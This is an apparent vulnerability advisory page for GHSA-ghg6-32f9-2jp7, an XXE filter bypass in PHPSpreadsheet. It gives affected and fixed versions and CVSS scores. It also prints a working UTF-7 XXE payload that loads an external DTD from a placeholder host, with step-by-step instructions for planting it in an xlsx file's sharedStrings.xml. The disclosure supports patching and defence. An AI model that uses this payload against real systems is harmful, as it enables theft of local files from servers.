Логотип exploitDog
Консоль
Логотип exploitDog

exploitDog

github логотип

GHSA-ghg6-32f9-2jp7

Опубликовано: 29 авг. 2024
Источник: github
Github: Прошло ревью
CVSS4: 8.7
CVSS3: 8.8

Описание

XXE in PHPSpreadsheet encoding is returned

Summary

Bypassing the filter allows a XXE-attack. Which is turn allows attacker to obtain contents of local files, even if error reporting muted by @ symbol. (LFI-attack)

Details

Check $pattern = '/encoding="(.*?)"/'; easy to bypass. Just use a single quote symbol '. So payload looks like this:

<?xml version="1.0" encoding='UTF-7' standalone="yes"?> +ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM "http://example.com/file.dtd"> %xxe;]>

If you add this header to any XML file into xlsx-formatted file, such as sharedStrings.xml file, then xxe will execute.

PoC

  1. Create simple xlsx file
  2. Rename xlsx to zip
  3. Go to the zip and open the xl/sharedStrings.xml file in edit mode.
  4. Replace <?xml version="1.0" encoding="UTF-8" standalone="yes"?> to
<?xml version="1.0" encoding='UTF-7' standalone="yes"?> +ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM "http://%webhook%/file.dtd"> %xxe;]>
  1. Save sharedStrings.xml file and rename zip back to xlsx.
  2. Use minimal php code that simply opens this xlsx file:
use PhpOffice\PhpSpreadsheet\IOFactory; require __DIR__ . '/vendor/autoload.php'; $spreadsheet = IOFactory::load("file.xlsx");
  1. You will receive the request to your http://%webhook%/file.dtd
  2. Dont't forget that you can use php-wrappers into xxe, some php:// wrapper payload allows fetch local files.

Impact

Read local files lfi

Пакеты

Наименование

phpoffice/phpspreadsheet

composer
Затронутые версииВерсия исправления

< 1.29.1

1.29.1

Наименование

phpoffice/phpspreadsheet

composer
Затронутые версииВерсия исправления

>= 2.2.0, < 2.2.1

2.2.1

Наименование

phpoffice/phpspreadsheet

composer
Затронутые версииВерсия исправления

>= 2.0.0, < 2.1.1

2.1.1

Наименование

phpoffice/phpexcel

composer
Затронутые версииВерсия исправления

<= 1.8.2

Отсутствует

EPSS

Процентиль: 42%
0.00202
Низкий

8.7 High

CVSS4

8.8 High

CVSS3

Дефекты

CWE-611

Связанные уязвимости

CVSS3: 8.8
nvd
больше 1 года назад

PHPSpreadsheet is a pure PHP library for reading and writing spreadsheet files. Affected versions are subject to a bypassing of a filter which allows for an XXE-attack. This in turn allows attacker to obtain contents of local files, even if error reporting is muted. This vulnerability has been addressed in release version 2.2.1. All users are advised to upgrade. There are no known workarounds for this vulnerability.

EPSS

Процентиль: 42%
0.00202
Низкий

8.7 High

CVSS4

8.8 High

CVSS3

Дефекты

CWE-611